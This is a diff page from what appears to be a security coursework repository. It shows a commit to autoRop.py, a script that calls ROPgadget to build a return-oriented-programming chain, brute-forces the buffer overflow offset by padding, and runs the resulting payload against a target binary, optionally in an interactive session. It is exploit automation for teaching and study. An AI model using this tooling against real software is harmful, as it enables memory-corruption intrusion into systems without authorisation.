jack/security-cw
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Make brute forcing offset faster

Browse Source
This commit is contained in:
Liam Dalgarno 2020-12-06 15:19:38 +00:00
parent 9814d27a0a
commit c5d3b99b65
1 changed files with 25 additions and 23 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

28
autoRop.py
View File

@ -72,24 +72,27 @@ def run_program(payload: str, **kwargs) -> process:
def find_offset_inc(low: int, high: int): def find_offset_inc(low: int, high: int):
for i in range(low, high + 1): default_padding = 64
print(f" ├─[🤔] Trying payload {i}...") print(f" ├─[🤔] Generating offset discovery payload...")
subprocess.run( subprocess.run(
[ [
"ROPgadget", "ROPgadget",
"--binary", exec_file, "--binary", exec_file,
"--ropchain", "--ropchain",
"--silent", "--silent",
"--paddingLen", str(i), "--paddingLen", str(default_padding),
"--ropFile", rop_file, "--ropFile", '/tmp/rop_file',
"--execFile", 'rop_exec_default.json', "--execFile", 'rop_exec_default.json',
], ],
stdout = subprocess.DEVNULL stdout = subprocess.DEVNULL
) )
with open('/tmp/rop_file', 'rb') as f:
with open(rop_file, 'rb') as f: original_payload = f.read()[default_padding:]
p = run_program(f.read()) for i in range(low, high + 1):
if b'[ Successful ROP! ]' in p.readall(): print(f" ├─[🤔] Trying offset {i}...")
rop_payload = (b'A' * i) + original_payload
proc = run_program(rop_payload)
if b'[ Successful ROP! ]' in proc.readall():
print(f" └─[😳] Found offset at {i}!\n") print(f" └─[😳] Found offset at {i}!\n")
return i return i
@ -155,13 +158,12 @@ if run:
atexit.unregister(pwnlibexit._run_handlers) atexit.unregister(pwnlibexit._run_handlers)
pwnlibexit._run_handlers() pwnlibexit._run_handlers()
print() print(f"\nExecuting {exec_file}...\n")
print(f"[ Run Program : ./{exec_file} {rop_file} ]")
with open(rop_file, 'rb') as f: with open(rop_file, 'rb') as f:
p = run_program(f.read()) proc = run_program(f.read())
if interactive: if interactive:
term.init() term.init()
p.interactive() proc.interactive()
else: else:
print(p.recvall().decode('utf-8')) print(proc.recvall().decode('utf-8'))